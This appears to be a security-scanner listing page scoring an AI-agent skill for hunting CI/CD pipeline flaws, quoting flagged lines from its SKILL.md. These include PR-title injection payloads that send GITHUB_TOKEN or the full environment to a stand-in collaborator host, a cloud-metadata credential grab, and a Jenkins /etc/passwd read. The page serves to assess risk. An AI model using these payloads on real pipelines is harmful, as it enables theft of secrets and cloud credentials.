hunt-cicd

69 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53

Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reach…

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: $target, $target$p, x., 169.254.169.254

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 13 places.

skills/hunt-cicd/SKILL.md, line 40curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
skills/hunt-cicd/SKILL.md, line 41curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
skills/hunt-cicd/SKILL.md, line 43code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")

Show 10 more

skills/hunt-cicd/SKILL.md, line 52curl -s -X POST "https://$TARGET/scriptText" \
skills/hunt-cicd/SKILL.md, line 103PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
skills/hunt-cicd/SKILL.md, line 107PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
skills/hunt-cicd/SKILL.md, line 113curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
skills/hunt-cicd/SKILL.md, line 121curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
skills/hunt-cicd/SKILL.md, line 122curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"
skills/hunt-cicd/SKILL.md, line 176curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
skills/hunt-cicd/SKILL.md, line 177curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
skills/hunt-cicd/SKILL.md, line 181curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
skills/hunt-cicd/SKILL.md, line 197code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 11 places.

skills/hunt-cicd/SKILL.md, line 40curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
skills/hunt-cicd/SKILL.md, line 52curl -s -X POST "https://$TARGET/scriptText" \
skills/hunt-cicd/SKILL.md, line 72java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"

Show 8 more

skills/hunt-cicd/SKILL.md, line 113curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
skills/hunt-cicd/SKILL.md, line 119- run: |
skills/hunt-cicd/SKILL.md, line 127aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
skills/hunt-cicd/SKILL.md, line 136gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
skills/hunt-cicd/SKILL.md, line 158gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
skills/hunt-cicd/SKILL.md, line 176curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
skills/hunt-cicd/SKILL.md, line 191for U in \
skills/hunt-cicd/SKILL.md, line 214docker pull ORG/IMAGE:latest

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

skills/hunt-cicd/SKILL.md, line 107PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
skills/hunt-cicd/SKILL.md, line 113curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"

Downloads and installs other software

The author does not mention this.

Found in 1 place.

skills/hunt-cicd/SKILL.md, line 146Triage candidates with the static analyzer before opening any PR: `gh extension install rhysd/actionlint` or run **zizmor** (`pip install zizmor; zizmor .github

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'hunt-cicd' ] || [ -L ~/.agents/skills/'hunt-cicd' ]; then echo 'A skill folder named hunt-cicd already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-cicd' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-cicd' ~/.agents/skills/'hunt-cicd' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-cicd' ~/.claude/skills/'hunt-cicd' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.

SkillTrust badge for elementalsouls/Claude-BugHunter

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/elementalsouls/Claude-BugHunter.svg)](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)

Score history

Date	Version	Score
2026-11-10	`d5dcc53`	69
2026-11-08	`42a3ab1`	69
2026-11-06	`3e71af0`	69